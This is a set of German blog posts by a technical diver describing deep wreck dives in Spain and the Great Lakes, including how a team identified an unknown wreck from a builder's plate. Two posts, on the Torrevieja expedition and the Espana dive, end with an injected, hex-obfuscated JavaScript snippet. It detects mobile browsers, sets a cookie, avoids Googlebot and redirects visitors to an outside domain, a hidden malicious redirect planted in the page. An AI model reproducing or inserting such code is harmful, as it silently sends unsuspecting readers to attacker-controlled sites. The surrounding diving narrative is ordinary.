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  • Laredo – Villajoyosa – Laredo

    Ende September ging es zum letzten Mal für dieses Jahr nach Spanien.

    Zuerst ging es nach Laredo und von dort, gemeinsam mit meinen spanischen Freunden, nach Villajoyosa. das liegt bei Benidorm am Mittelmeer.

    Joseba hatte hier, zusammen mit Terenzio Peres vom ALI-SUB Dive Centern in Villajoyosa , eine Tek-Week organisiert. Ziel war das Betauchen von Wracks auf einer Tiefe zwischen 65 und 94 Metern.

    In dieser Woche hatten wir viel Glück mit dem Wetter, aber nicht nur damit. Es passte einfach alles. Die Leute waren gut drauf, die Basis war super und die Unterkunft war sehr günstig und gut.

    An den ersten zwei Tagen dieser Woche betauchten wir ein Wrack in Küstennähe, die Owasco. Der 1. Tauchgang war gut, wir hatten gute Sicht und alles funktioniere, nur waren für meinen Geschmack zu viele Taucher am Wrack. Am nächsten Tag wollten wir die Owasco noch einmal besuchen, aber leider mussten wir den Tauchgang wegen extrem schlechter Sicht abbrechen. Die Sicht ist in dieser Region ein Problem, da es viele Schleppnetzfischer gibt. Leider sieht man erst am Wrack, ob einer in der Nähe des Wracks gearbeitet hat.

    Am 3. Tag fuhr uns Terenzio zu einem unbekannten Wrack auf 94 Meter Tiefe (es gibt viele unidentifizierte Wracks in der Gegend um Alicante). Er hatte es im Jahr 2000 entdeckt, aber es war bisher nur im Sommer 2013 einmal betaucht worden. Unser Ziel sollte es nun sein den Namen des Wracks herauszufinden.

    Das Team, das einige Wochen vor uns den 1. Tauchgang am Wrack durchgeführt hatte, gab uns den Hinweis, dass es an der Aussenseite der Brücke eine Tafel gibt, die vielleicht für die Identifizierung hilfreich sein könnte. Sie hatten leider nichts entziffern können.

    Wir hatten Glück, Terenzio versenkte das Bleigewicht mit der Schotleine ganz in der Nähe der Brücke, so dass wir die Tafel recht schnell fanden. Sie war wirklich stark bewachsen und ohne Hilfsmittel nicht zu säubern. Ich filmte sie trotzdem und machte auch noch einige Fotos. Danach untersuchten Alberto und ich das Innere der Brücke, während Jeseba und Gabriel Richtung Bug schwammen.

    Joseba entdeckto noch die Schiffsglocke, hatte aber keine Zeit sie näher zu untersuchen.

    Wir hatten einen super Tauchgang und wollten unbedingt noch einmal in dieser Woche zu diesem Wrack zurückkehren.

    Als wir an diesem Tag zur Basis zurück kamen wurden wir mit einer Überraschung empfangen. So wie es bei uns Pizzalieferdienste gibt, gibt es in Villajojosa einen Paellalieferservice. Das bedeutet es kommt jemand mit einem mobilen Gaskocher und einer riesigen Pfanne. Die Paella wird frisch vor Ort gekocht. Das war sehr, sehr lecker!!!

    Am Abend versuchten wir an Hand der Bilder, die wir am Wrack von der Tafel gemacht hatten, den Namen herauszufinden. Wir konnten im unteren Teil ARENDAL und in der Mitte No 41 lesen. Zunächst dachten wir ARENDAL wäre der Name, aber im Internet fanden wir nur eine Norwegische Stadt die so heisst.

    Damit war klar wir mussten noch einmal runter, dieses Mal bewaffnet mit einer Scheuerbürste!!

    Terenzio liess uns etwas zappeln. Er war sich nicht sicher ob wir es vom Wetter her wagen konnten. Immerhin mussten wir 1 1/2 Stunden fahren um das Wrack zu erreichen.

    Am nächsten Tag stand sowieso ein anderes Wrack auf dem Plan, die Caprera auf knapp 70m Tiefe. Leider waren auch hier wieder einmal Fischer am Werk gewesen und so brachen wir auch diesen Tauchgang nach kurzer Zeit wegen massiv schlechter Sicht ab.

    Vielleicht war das unser Glück, denn Terenzio entschied das Wagnis einzugehen und uns noch einmal an das unbekannte Wrack zu fahren.

    Dieses Mal waren wir bestens vorbereitet. Wir hatten eine Scheuerbürste und einen Plan….:-)

    Wir wollten zuerst versuchen die Glocke zu finden und auf ihr nach einem Namen suchen. Plan B war die Tafel an der Brücke zu reinigen und sie zu entziffern.

    Nach dem Abtauchen schwammen wir zum Bug. Joseba versuchte die Glocke anzuheben um eine Gravur zu finden, aber sie liess sich nicht bewegen. Nach einigen erfolglosen Versuchen beschlossen wir auf Plan B auszuweichen.

    An der Tafel angekommen befreiten Alberto und Joseba diese so gut es ging vom Bewuchs.

    Wieder filmte ich sie und machte einige Fotos. Dann wurde es höchste Zeit für den langen Aufstieg. Immerhin mussten wir am selben Tag noch die 900km bis Laredo zurück fahren.

    Die Woche bei ALI-SUB in Villajojosa war grossartig!!! Auch hier werde ich gern zum Wiederholungstäter.

    Zurück in Laredo liess mir meine Neugierde keine Ruhe. Auch wenn es mitten in der Nacht war, ich wollte unbedingt wissen, was auf der Tafel am Wrack geschrieben steht und ob es uns wircklich auf der Suche nach dem Namen weiterbringen würde.

    Und ich hatte Glück!!!

    Klar und deutlich konnte ich auf meinen Bildern folgendes erkennen:

    Pusnaes Stoberi & Mek Verkstet

                                 No 41

                               Arendal

    Nun war es kein Problem im Internet die Werft Puesnaes Stoberi & Mek Verkstet in Arendal zu finden.

    Dort fand ich auch eine Liste mit den auf der Werft gebauten Schiffen.

    Die No 41 war die Sigdal, gebaut 1921

    Nach mehrmaligem Namens-Wechsel fuhr sie bis zu ihrem Untergang, im Jahre 1972, unter dem Namen

    LONICA.

    Damit hatten wir unser Ziel erreicht.

    Wir konnten dem unbekannten Wrack einen Namen geben.

     

    Das Wochenende in Laredo brachte mir noch einen schönen Tauchgang an der Genoveva Fierro, bevor ich mich dann für dieses Jahr von meinen Freunden von

    MUNDO SUBMARINO verabschieden musste.

     

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  • Deep Wreck Week mit Kaycher Diving in Torrevieja, Spanien

    Im September, genau vom 08. bis 15.09.13., führte mich mein Weg erneut nach Spanien. Dieses Mal war das Ziel Torrevieja, etwas südlich von Alicante, am Mittelmeer.

    Ich folgte einer Einladung von Stuart Miles von Kaycher Diving zu einer „speziellen Deep wreck Expedition“.

    Stuart hatte ein internationales Team zusammen gestellt und er wollte mit unserer Hilfe ein unbekanntes Wrack in über 100m Tiefe identifizieren.

    Leider waren das Wetter und einige andere Dinge gegen uns. Trotz des tollen Tauchbootes, einem Kathamaran mit Lift, konnten in dieser Woche nur zwei Tauchgänge an dem Wrack gemacht werden. Dies war für eine Identifizierung nicht genug.

    Somit wartet das unbekannte Wrack weiternin auf seine Identifizierung.

    Wir werden es im nächsten Jahr wieder versuchen!!var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

  • Mit Vic Verlinden an der Espana

    Sabine Kerkau Foto: Vic Verlinden
    Bei meinem Kurztrip nach Spanien (16. bis 20.08.) hatte ich die Ehre mit Vic Verlinden und Alberto Marin tauchen zu dürfen. Wir machten zwei wunderbare Tauchgänge an der Espana. Vic zeigte erneut sein Können mit der Kamera und machte fantastische Bilder vom Wrack.

    Alberto lud mich ein zwei Tage Gast in seinem wunderschönen Haus zu sein und gab sogar für uns noch ein Barbecaue.

    Er war ein sehr ereignisreiches Wochenende und ich hoffe wir können es im nächsten Jahr wiederholen.

    Am Montag durfte ich noch einem spanischen Radiosender ein Interview geben.
    Sabine Kerkau Foto: Vic Verlindenvar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

  • www.tekDIVE13.com

    Am 16. und 17. November findet ihr mich auf der TekDive 13 in Antwerpen. Ich darf dort einen Vortrag über meine Projekte halten. Wenn jemand Lust hat ebenfalls dabei zu sein, hier ist der Link:

    www.tekDIVE13.com

    wir sehen uns in Antwerpen!

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  • Wracktauchen in den Great Lakes, USA

    Ein neues Abenteuer hat begonnen.

    Eigentlich wollte ich ja nach Island, doch daraus wurde leider nichts. Auf der Suche nach einer lohnenden Alternative erhielt ich die Einladung von ein paar amerikanischen Wracktauchern sie doch auf einer Expedition zur Carl D. Bradley (ca 120m tief und eins der grössten Wracks in den Great Lakes) im Lake Michigan zu begleiten.Das klang doch nach einem guten Plan, so habe ich nicht lange gezögert, einen Flug nach Detroit und einen Mietwagen gebucht und mich auf den Weg gemacht.

    Nach fast genau 48 Stunden Anreise bin ich nun auch glücklich und mit meinem vollständigen Gepäck in Manistique, irgendwo am Lake Michigan angekommen.

    Heute Abend habe ich Jitka unseren Kapitän und die anderen 4 Expeditionsteilnehmer (Eric, Jeff, Ryan and Donald) kennen gelernt. Ich werde mit Eric tauchen, er kennt die Bradley sehr gut. Morgen werden wir zunächst den etwas flacheren Teil auf ca 110m betauchen.

    Am Nachmittag kam Jitka mal eben mit dem Boot auf dem Hänger vor unser Hotel gefahren und wir konnten schon unsere ganze Ausrüstung, einschliesslich Rebreathern und Stages verladen.

    Morgen Früh starten wir gegen 6 Uhr. Ab Mittag soll das Wetter schlecht werden. Also flexibel sind sie hier, das muss man schon sagen 🙂

    1. Tag an der Bradley:

    Pünktlich um 6 Uhr, noch vor Sonnenaufgang, fuhren wir los. Ganz in der Nähe des Hotels wurde das Boot ins Wasser gelassen. Die Fahrtzeit zum Tauchplatz betrug ca 1 1/2 Stunden. Noch war nichts von rauer See zu spüren.

    Jitka´s Boot hat eine kleine Kabine, in der wir vor Wind und Wasser geschützt waren. Am Tauchplatz angekommen mussten wir feststellen, dass es nur noch die Schotleine  am Heck der Bradley gibt, die am Bug war verschwunden.  Damit hatte sich das Thema: zunächst mal den etwas flacheren Teil zu betauchen auch erledigt 🙂

    Nachdem das Boot an der Schotleine festgemacht war, machte sich die erste Gruppe (Ryan, Jeff und Donald) fertig. Eric und ich folgten nachdem das erste Team im Wasser war.

    Nach einem (für meine Verhältnisse) sehr schnellen Abstieg auf knapp 90m bagannen wir das Wrack zu erkunden (jedenfalls einen kleinen Teil davon 🙂

    Die Bedingungen am Wrack waren wirklich gut. Wir hatten sensationelle Sichtweiten und selbst auf 100m war es noch nicht vollständig dunkel. Allerdings war das Wasser mit ca 4°C schon sehr kalt. Ich hatte auf meine Trockentauchhandschuhe verzichtet und war mit ein paar 5mm Neoprennasstauchhandschuhen unterwegs, das werde ich an der Bradley sicher kein zweites Mal machen :-)Das Wrack ist komplett mit einer dicken Schicht aus Muscheln bewachsen.

    Eric war ein grossartiger Buddy. Er kannte das Wrack in und auswendig und brachte mich zuerst zu der beeindruckenden grossen Schraube der Bradley. Danach zeigte er mir das nicht weniger faszinierende Steuerrad und vieles mehr. Man merkte deutlich, dass er schon mit einigen Profifotografen gearbeitet hatte. So konnte ich mit seiner Hilfe einige schöne Bilder mitnehmen (einige sind auf meiner Facebookseite zu sehen).

    Nach 20 min Grundzeit folgte eine 2 stündige Deko, auch hier lief alles gut und ab ca 20m tauten sogar meine Hände langsam wieder auf.

    Auf der Rückfahrt nach Manistique wurden wir dann vom vorhergesagten schlechten Wetter eingeholt. Somit haben wir nun mindestens einen tauchfreien Tag vor uns.

    23.07.13

    In der Nacht hatten wir einen „Thunderstorm“ . An tauchen war heute nicht im Traum zu denken. Da Manistique nicht wirklich viele Sehenswürdigkeiten zu bieten hat, nutzten wir allgemein den Tag zum Essen und Schlafen 🙂

    24.07.13

    Mit dem Sonnenaufgang liessen wir die Molly V zu Wasser und machten uns bei spiegelglattem Wasser auf den Weg zur Bradley.  Der heutige Tauchgang sollte uns zum Bug der Bradley führen. Dafür musste aber zunächst einmal eine Leine für den Auf- und Abstig gesetzt werden. Ein hartes Stück Arbeit!

    Auch bei diesem Tauchgang begleitete mich Erik Foreman. Er kennt die Bradley wirklich sehr, sehr gut. Die Sicht am Wrack ist beeindruckend und trotz der Tiefe von ca 100m ist es nich wirklich dunkel an der Bradley.

    Erik zeigte mir die Aufbauten, die Laderäume, die mächtigen Anker und die Gedenkglocke (die orginal Glocke der Bradley befindet sich im Museum) und vieles mehr. Leider liess mich bei diesem Tauchgang mein Video im Stich. Zu dem Zeitpunkt hoffte ich aber noch auf weitere Tauchgänge an der Bradley und damit eine neue Chance für ein paar gute Aufnahmen.

    Als wir unseren Tauchgang nach gut 3 Stunden beendeten, wurden wir von schlechem Wetter empfangen. Es war schon bzusehen, dass dies wohl für die Woche der letzte Tauchgang an der Bradley gewesen war.

    25.07.13

    Am Abend zuvor entschied Jitka, dass es keine weiterene Tauchgänge an der Bradley geben würde. Die Wetterprognose war einfach u schlecht. Am heutigen Tag wollte sie mit uns an den Lake Superior fahren. Dazu wurde die Molly V kurzer Hand auf den Trailer verladen. Die Whitefishbay am Lake Superior liegt ca 2 Stunden mit dem Auto von Manistique entfernt. Auch hier war das Wetter nicht wirklich gut, aber Jitka fuhr trotzdem raus und gab uns die Möglichkeit zwei interessante Wracks zu betauchen, Superior City und die Vienna. Am Abend stiess Sue Smith zu uns, sie weiss unglaublich viel historisches über die Wracks zu berichten und sie engagiert sich sehr für den Schutz der Wracks. Es ist schon beeindruckend an Wracks zu tauchen, wo man selbst die Schiffsglocke noch an ihrem Platz bestaunen kann.

    26.07.13

    Heute verabschiedeten wir uns aus Manestique und vom Lake Michigan und machten uns mit einem kleinen Zwischenstop in „the Strait“ auf den Weg nach Presque Isle im Lake Huron. „The Strait“ ist eine schmale Wasserstrasse zwischen Lake Michigan and Lake Huron. an der engsten Stelle befindet sich die Mackinac Bridge.

    Wir betauchten die Cedaville und die Wilhelm Young. Beide Wracks liegen in einer Tiefe zwischen 25 und 40m.

    Am späten Nachmittag fuhren wir weiter nach Presque Isle, wieder mit der Molly auf dem Trailer.

    Meine Unterkunft in Presque Isle war das Fireside IN. Jitka hatte es für mich für eine Woche reserviert und meinte nur es sei recht einfach. Allerdings beschrieb das nicht ansatzweise was mich dort erwartete. Mein „Zimmer“ war ein Sperrholzverschlag auf einem Dachboden. Die Möbel vermutlich vom Sperrmüll der 60er Jahre. Insgesammt ca 20 dieser „Zimmer“ mussten sich zwei Bäder teilen. Die Bäder waren in einem ziemlich grausigen Zustand. Es gab keine Schlüssel zu den Zimmern. Tagsüber Kindergeschrei, das ganze war eine Art Abeteuercamp und Abends Party der Teenies. Nach 2 Tagen bin ich ausgezogen 🙂

    27.07.13

    Die ersten zwei Tauchgänge vor Presque Isle führten uns zur Florida und zur Norman. Die Florida ist ein Zweimast Schoner, der vor über 100 Jahren gesunken ist. Es war beeindruckend, wieviele Details wir entdecken konnten. Sogar eine der Schiffsglocken war noch da.

    Die Norman war ein Stahlfrachter, hier ist der Maschinenraum mit vielen, vielen Details sehenswert.

    28.07.13

    Heute ging es zu zwei der schönsten Wracks in diesem Gebiet, die Windiate und die Typo, beides Holzschoner, mit aufrecht stehenden Masten inkl. „Krähennestern“. Die Knochen eines Besatzungsmitglieds der Typo sind immernoch am Wrack zu finden. Wir haben sie bei einem Tauchgang einge Tage später wieder abgedeckt, da es leider immer wieder Taucher gibt, die sie für Fotos freilegen.
    Nachdem wir zurück an Land waren mussten wir uns leider von Jeff und Ryan verabschieden, die sich auf den Heimweg machen mussten.

    Ich bezog an diesem Abend meine neue Unterkunft im Grand Lake Resort, eine Wohltat!!!!

    29.07.13

    Wracks heute: Auduban and Spangler.

    Die Auduban war ein mit Eisenbahnschwellen beladener Holzschoner. Das Wrack steht aufrecht auf Grund und hat einen komplett längs aufgespaltenen Bug. Erik zeigte mir ein altes Fernrohr, das etwas vom Wrack entfernt unter einem Stein versteckt liegt. Leider war es nicht mehr in dem Zustand, wie es es aus früheren Besuchen in Erinnerung hatte.

    An diesem Abend verliess uns Erik, er ging zurück nach Manistique um mit einer anderen Gruppe an der Bradley zu tauchen. Sehr schade!

    30.07.13

    Zwei Tauchgänge an der Norman standen auf dem Program. Sue und ich nahmen uns die Laderäume und den Bug mit seinem riesigen Anker vor.  Dies war der letzte Tauchtag von Don und Rob, Rob war am Samstag dazu gekommen.

    31.07.13

    Jitka, Sue, Stan Stock und ich betauchten die C.W. Franz. Dazu musste Molly wieder einmal auf den Trailer und wir fuhren ca 1,5 Stunden Richtung Osten. Die Franz ist ein wenig betauchtes, sehr sehr schönes Wrack. Leider konnte ich sie nur einmal betauchen, da ich meinen Trocki geflutet hatte und die Wassertemperaturen zu niedrieg für einem Tauchgang in einem nassen Unterzieher waren.

    01.08.13

    Typo und Windiate Waren unsere Ziele für den heutigen Tag. zwei grandiose Tauchgänge. Beeindruckende Wracks und geniale Sichtweiten.

    02.08.13

    Auf meinen Wunsch durften wir heute noch einmal die Spangler und die Florida betauchen. Das war mein letzter Tauchtag für diesen Besuch.

    03.08.13

    Stan schlug einen gemeinsamen Museumsbesuch vor. In Alpena gibt es ein sehr beeindruckendes Shipwreckmuseum zu bestaunen. Stan Stock sucht seit mehr als 35 Jahren nach Wracks in den Great Lakes. Er hat schon 15 Wracks gefunden, unter anderem die Typo und die Spangler. Er kann unglaublich viele spannende Geschichten erzählen und ist genau der richtige Begleiter für einen Museumsbesuch.

    Am Nachmittag hiess es Abschied nehmen, aber ich hoffe mein Weg führt mich erneut an die Great Lakes zum Wracktauchen!!!!

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  • Interview im spanischen Radio

    Heute wurde ich von einem spanischen Radiosender zu einem Interview eingeladen.

    Sie haben meine letzten Videos gesehen und möchten nun mehr über meine Tauchgänge an den tiefen Wracks dieser Welt erfahren 🙂

    Bei meinem Besuch, am letzten Wochenende, in Laredo (16. bis 20.08.13) habe ich dem spanischen Radiosender ein Interview gegeben. Morgen (am 23.08.) wird es gesendet.

     

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  • Laredo, Spanien: Buceo Tecnico bei Mundo Submarino

    Diese Woche folge ich einer Einladung meiner spanischen Freunde von Mundo Submarino, Laredo an der spanischen Atlantikküste. Wenn das Wetter es zulässt wollen wir einige tiefe Wracks vor der Küste betauchen. Viele  Wracks stammen aus dem spanischen Bürgerkrieg. Das 1. Wrack, das wir am Samstag 22.06.13 betauchten war die Genoveva Fierro. Das Wrack ist im Dezember 1925 gesunken, es liegt bei ca 55m auf Sand. Der Bug ist nur noch ein Trümmerfeld, aber das Heck mit der Schraube ist unbedingt einen Besuch wert. Die Sichtweiten sind meistens gut und es gibt sehr viel Leben am Wrack. Wir wurden auf unserem Tauchgang permanent von einem Mondfisch begleitet.

    Am Samstag Abend kam Wind auf und es war klar, dass bis Mittwoch vor Laredo kein Tauchen möglich sein würde. Dani und ich beschlossen am Samstag Abend noch Richtung Pozo Azul aufzubrechen und den Sonntag für einen erneuten Tauchgang in einem der längsten Höhlensysteme Europas zu nutzen.
    Am Sonntag Morgen mussten wir dann zunächst, wie schon bekannt, unser Equipment zum Höhleneingang transportieren. das nimmt einige Zeit in Anspruch. Bisher bin ich immer in der Woche an der Pozo Azul gewesen, da gab es ausser uns keine anderen Taucher. Am Sonntag sah das etwas anders aus….                                                                                                                                                            Dani und ich liessen uns viel Zeit. Er wollte mit seinem Sidemount Rebreather (selber gebaut) und 2 Stages tauchen. Geplant war ein Tauchgang bis zum 1. „Bubble“, also 700m in die Höhle. Für diesen Zweck wollten wir Scooter nutzen.                                                                                                                                                       Als wir ca 600m in die Höhle hineingetaucht waren musste ich den Tauchgang abbrechen, da ich einen massiven Wassereinbruch in meinem Trockentauchanzug hatte. Die Ursach war ein kleiner Riss oberhalb des rechten Knies.

    Die nächsten 2 Tage (Montag und Dienstag) verbrachte ich in Laredo, ohne Tauchen. Das gab mir genügend Zeit meinen Anzug zu reparieren.

    Montag Nachmittag wurde ich dann von einem Tauch Kollegen in sein „Wochenendhaus“ in der Nähe von Laredo eingeladen. Er meinte nur „vergiss aber deine Kamera nicht, du willst bestimmt Fotos machen :-)“ Und es war wirklich ein Traum, was ich dort zu sehen bekam. Das „Wochenendhaus“ entpuppte sich als ein kleines Schloss, innen wie aussen. Mit einem eigenen kleinen Museum voller Fundstücke aus dem Meer. Als ob das alleine nicht gereicht hätte, war auch das ganze Haus sehr, sehr geschmackvoll mit Antiquitäten eingerichtet. Selbst die Geheimtür fehlte nicht. Alte Uniformen, ein echtes Templer-Schwert, Bilder mit persönlichen Widmungen von der spanischen Königsfamilie und anderen Berühmtheiten um nur einiges zu nennen, vervollständigten das atemberaubende Ambiente. WOW, was für ein Haus! Mein Gastgeber meinte dann noch, dass er eigentlich überlegt habe, dass ich doch hier wohnen könne während meines Aufenthaltes….. Er habe aber den Gedanken verworfen weil es doch ohne Auto etwas zu weit ausserhalb gewesen wäre…. Na ja, vielleicht beim nächsten Mal 🙂 (gab es da auf meiner Liste der 50 Dinge, die man bis zu seinem Tod erlebt haben sollte nicht auch so einen Punkt „sich einmal wie eine Prinzessin fühlen ??:-)

    Mittwoch 26.06.13 hatte sich der Wind soweit gelegt, dass wir einen Tauchgang an der ANDRA planen konnten. Die ANDRA war ein kleiner Frachter, der 1937 im spanischen Bürgerkrieg versenkt wurde. Das Wrack steht aufrecht in ca 82m auf dem Meeresgrund. Es ist in einem sehr guten Zustand und voller Leben. Congar´s, Mondfische, viele Schwärme, wo man hinsieht bewegt sich etwas. Ein sehr schönes Wrack.

